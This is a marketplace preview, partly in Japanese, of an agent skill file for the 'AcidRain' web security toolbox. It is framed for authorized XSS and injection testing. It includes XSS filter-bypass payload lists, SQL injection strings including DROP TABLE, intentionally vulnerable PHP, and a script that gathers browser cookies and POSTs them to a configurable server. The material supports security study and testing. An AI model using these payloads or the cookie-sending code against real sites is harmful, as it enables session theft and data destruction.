Skip to main content

acidrain-xss-security-testing

AcidRain web security toolbox for XSS analysis, JavaScript utilities, and PHP injection testing in authorized environments

インストールへ移動

ソース情報

リポジトリ
reason-machines/security-skills
ソースの最終更新活動
2026年8月4日 08:20
検出された SKILL.md の言語
英語
スター
12
フォーク
1

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
acidrain-xss-security-testing
description
AcidRain web security toolbox for XSS analysis, JavaScript utilities, and PHP injection testing in authorized environments
triggers
["use acidrain for xss testing","run acidrain security scripts","test xss with acidrain","analyze cross-site scripting vulnerabilities","setup acidrain for web security research","inject test payloads with acidrain","run acidrain javascript utilities","configure acidrain php scripts"]
# AcidRain XSS Security Testing Skill > Skill by [ara.so](https://ara.so) — Security Skills collection. ## Overview AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples for authorized security testing and hands-on learning. It provides browser-side and server-side material organized for web security research, penetration testing education, and controlled vulnerability analysis. **Key capabilities:** - XSS payload generation and testing - JavaScript-based client-side security utilities - PHP server-side injection examples - Input validation and output encoding analysis - Web security research snippets **License:** GPL-3.0 **Primary Languages:** HTML, JavaScript, PHP ## Installation Clone the repository and navigate to the project directory: ```bash git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git cd acidrain-security-script-hub ``` Explore the directory structure: ```bash ls -la scripts/ # Expected directories: # scripts/javascript/ # scripts/php/ # scripts/xss/ ``` ## Project Structure ``` acidrain-security-script-hub/ ├── scripts/ │ ├── javascript/ # Client-side utilities │ ├── php/ # Server-side examples │ └── xss/ # XSS testing payloads ├── configs/ # Configuration files ├── examples/ # Usage examples ├── docs/ # Documentation └── README.md ``` ## JavaScript Utilities ### Basic XSS Payload Injection Example JavaScript for testing XSS vulnerabilities in authorized environments: ```javascript // scripts/javascript/xss-basic.js // Basic XSS test payload injector function testBasicXSS(targetElement) { const payloads = [ '<script>alert("XSS")</script>', '<img src=x onerror=alert("XSS")>', '<svg onload=alert("XSS")>', '"><script>alert(String.fromCharCode(88,83,83))</script>' ]; payloads.forEach((payload, index) => { console.log(`Testing payload ${index + 1}: ${payload}`); // Inject into target element if (targetElement) { targetElement.innerHTML = payload; } }); } // Usage in browser console or testing environment // testBasicXSS(document.getElementById('vulnerable-input')); ``` ### DOM-Based XSS Analysis ```javascript // scripts/javascript/dom-xss-analyzer.js // Analyze DOM for potential XSS sinks function analyzeDOMSinks() { const sinks = { innerHTML: document.querySelectorAll('[innerHTML]'), outerHTML: document.querySelectorAll('[outerHTML]'), document_write: 'document.write usage', eval_calls: 'eval() usage' }; console.log('=== DOM XSS Sink Analysis ==='); // Check for dangerous innerHTML usage document.querySelectorAll('*').forEach(el => { if (el.innerHTML && el.innerHTML.includes('<script>')) { console.warn('Potential XSS sink found:', el); } }); // Monitor URL parameters const urlParams = new URLSearchParams(window.location.search); urlParams.forEach((value, key) => { console.log(`URL param ${key}: ${value}`); if (/<[^>]*script/i.test(value)) { console.error(`Dangerous script tag in parameter ${key}`); } }); return sinks; } // Export for use in testing if (typeof module !== 'undefined' && module.exports) { module.exports = { analyzeDOMSinks }; } ``` ### Cookie Extraction Utility ```javascript // scripts/javascript/cookie-extractor.js // Extract and analyze cookies (for authorized testing only) function extractCookies() { const cookies = document.cookie.split(';').reduce((acc, cookie) => { const [key, value] = cookie.trim().split('='); acc[key] = value; return acc; }, {}); console.log('Extracted cookies:', cookies); // Analyze cookie security flags const analysis = { hasHttpOnly: document.cookie.includes('HttpOnly'), hasSecure: document.cookie.includes('Secure'), hasSameSite: document.cookie.includes('SameSite'), cookieCount: Object.keys(cookies).length }; console.log('Cookie security analysis:', analysis); return { cookies, analysis }; } // Send to test server (use environment variable) function exfiltrateToTestServer(data) { const testServerUrl = process.env.ACIDRAIN_TEST_SERVER || 'http://localhost:8080/collect'; fetch(testServerUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }).then(response => { console.log('Data sent to test server:', response.status); }).catch(err => { console.error('Failed to send to test server:', err); }); } ``` ## PHP Server-Side Examples ### Input Validation Testing ```php <?php // scripts/php/input-validator.php // Test input validation and sanitization class InputValidator { // Vulnerable version (for testing) public static function vulnerableEcho($input) { echo $input; // Direct output - XSS vulnerable } // Sanitized version (secure example) public static function sanitizedEcho($input) { echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); } // Test various payloads public static function testPayloads($payloads) { $results = []; foreach ($payloads as $payload) { $results[] = [ 'original' => $payload, 'vulnerable' => $payload, // Would execute 'sanitized' => htmlspecialchars($payload, ENT_QUOTES, 'UTF-8'), 'filtered' => filter_var($payload, FILTER_SANITIZE_STRING) ]; } return $results; } } // Usage example $testPayloads = [ '<script>alert("XSS")</script>', '"><img src=x onerror=alert(1)>', "'; DROP TABLE users; --", '<svg/onload=alert(1)>' ]; $results = InputValidator::testPayloads($testPayloads); header('Content-Type: application/json'); echo json_encode($results, JSON_PRETTY_PRINT); ?> ``` ### SQL Injection Testing Helper ```php <?php // scripts/php/sql-injection-tester.php // Test SQL injection scenarios in controlled environment class SQLInjectionTester { private $testDb; public function __construct($dbHost, $dbName, $dbUser, $dbPass) { // Use environment variables for credentials $host = getenv('ACIDRAIN_DB_HOST') ?: $dbHost; $name = getenv('ACIDRAIN_DB_NAME') ?: $dbName; $user = getenv('ACIDRAIN_DB_USER') ?: $dbUser; $pass = getenv('ACIDRAIN_DB_PASS') ?: $dbPass; $this->testDb = new PDO( "mysql:host=$host;dbname=$name", $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION] ); } // Vulnerable query (for demonstration) public function vulnerableQuery($userInput) { $query = "SELECT * FROM users WHERE username = '$userInput'"; error_log("Vulnerable query: $query"); try { $result = $this->testDb->query($query); return $result->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e) { return ['error' => $e->getMessage()]; } } // Secure query (prepared statement) public function secureQuery($userInput) { $stmt = $this->testDb->prepare( "SELECT * FROM users WHERE username = :username" ); $stmt->bindParam(':username', $userInput, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetchAll(PDO::FETCH_ASSOC); } // Test common injection payloads public function testPayloads() { $payloads = [ "admin' OR '1'='1", "admin'--", "' UNION SELECT NULL--", "admin'; DROP TABLE users--" ]; $results = []; foreach ($payloads as $payload) { $results[$payload] = [ 'vulnerable' => $this->vulnerableQuery($payload), 'secure' => $this->secureQuery($payload) ]; } return $results; } } // Initialize with environment variables $tester = new SQLInjectionTester( 'localhost', 'test_db', 'test_user', 'test_pass' ); // Run tests in authorized environment only if (getenv('ACIDRAIN_AUTHORIZED') === 'true') { $results = $tester->testPayloads(); echo json_encode($results, JSON_PRETTY_PRINT); } else { echo "Unauthorized: Set ACIDRAIN_AUTHORIZED=true to run tests\n"; } ?> ``` ## XSS Payload Reference ### Common XSS Vectors ```javascript // scripts/xss/payload-library.js const XSSPayloads = { basic: [ '<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '<svg onload=alert(1)>', '<body onload=alert(1)>' ], encoded: [ '&#60;script&#62;alert(1)&#60;/script&#62;', '%3Cscript%3Ealert(1)%3C/script%3E', '\x3cscript\x3ealert(1)\x3c/script\x3e' ], eventHandlers: [ '<input onfocus=alert(1) autofocus>', '<select onfocus=alert(1) autofocus>', '<textarea onfocus=alert(1) autofocus>', '<keygen onfocus=alert(1) autofocus>' ], domBased: [ 'javascript:alert(1)', 'data:text/html,<script>alert(1)</script>', 'vbscript:msgbox(1)' ], filterBypass: [ '<scr<script>ipt>alert(1)</scr</script>ipt>', '<img src="x" onerror="alert(1)">', '<svg><script>alert(1)</script></svg>', '<<SCRIPT>alert(1)//<<SCRIPT>' ] }; function testPayload(payload, targetUrl) { console.log(`Testing payload: ${payload}`); console.log(`Target: ${targetUrl}`); // Construct test URL const testUrl = `${targetUrl}?q=${encodeURIComponent(payload)}`; console.log(`Full URL: ${testUrl}`); return testUrl; } module.exports = XSSPayloads; ``` ## Configuration Create a configuration file for your testing environment: ```javascript // configs/acidrain.config.js module.exports = { // Test environment settings testServer: { host: process.env.ACIDRAIN_HOST || 'localhost', port: process.env.ACIDRAIN_PORT || 8080, protocol: process.env.ACIDRAIN_PROTOCOL || 'http' }, // Database settings (for PHP scripts) database: { host: process.env.ACIDRAIN_DB_HOST || 'localhost', name: process.env.ACIDRAIN_DB_NAME || 'test_db', user: process.env.ACIDRAIN_DB_USER || 'test_user', password: process.env.ACIDRAIN_DB_PASS || '' }, // Payload settings payloads: { maxLength: 1000, encoding: 'utf-8', timeout: 5000 }, // Authorization check authorized: process.env.ACIDRAIN_AUTHORIZED === 'true', // Logging
GitHubで見る
この SKILL.md は非常に大きいため、SkillsMP では最初のセクションだけを表示しています。 GitHubで見る